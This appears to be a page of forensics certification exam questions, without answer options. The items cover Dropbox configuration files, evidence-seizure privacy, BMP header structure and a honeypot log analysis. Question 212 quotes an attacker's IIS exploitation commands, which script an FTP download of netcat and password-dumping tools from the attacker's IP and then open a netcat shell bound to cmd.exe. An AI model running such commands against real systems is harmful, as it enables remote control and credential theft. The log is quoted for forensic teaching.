Question 211

Which of the following files stores information about local Dropbox installation and account, email IDs linked with the account, current version/build for the local application, the host_id, and local path information?
  • Question 212

    The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
    He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
    "cmd1.exe /c open 213.116.251.162 >ftpcom"
    "cmd1.exe /c echo johna2k >>ftpcom"
    "cmd1.exe /c echo haxedj00 >>ftpcom"
    "cmd1.exe /c echo get nc.exe >>ftpcom"
    "cmd1.exe /c echo get pdump.exe >>ftpcom"
    "cmd1.exe /c echo get samdump.dll >>ftpcom"
    "cmd1.exe /c echo quit >>ftpcom"
    "cmd1.exe /c ftp -s:ftpcom"
    "cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
    What can you infer from the exploit given?
  • Question 213

    Jacob, a cybercrime investigator, joined a forensics team to participate in a criminal case involving digital evidence. After the investigator collected all the evidence and presents it to the court, the judge dropped the case and the defense attorney pressed charges against Jacob and the rest of the forensics team for unlawful search and seizure.
    What forensics privacy issue was not addressed prior to collecting the evidence?
  • Question 214

    BMP (Bitmap) is a standard file format for computers running the Windows operating system.
    BMP images can range from black and white (1 bit per pixel) up to 24 bit color (16.7 million colors). Each bitmap file contains a header, the RGBQUAD array, information header, and image data. Which of the following element specifies the dimensions, compression type, and color format for the bitmap?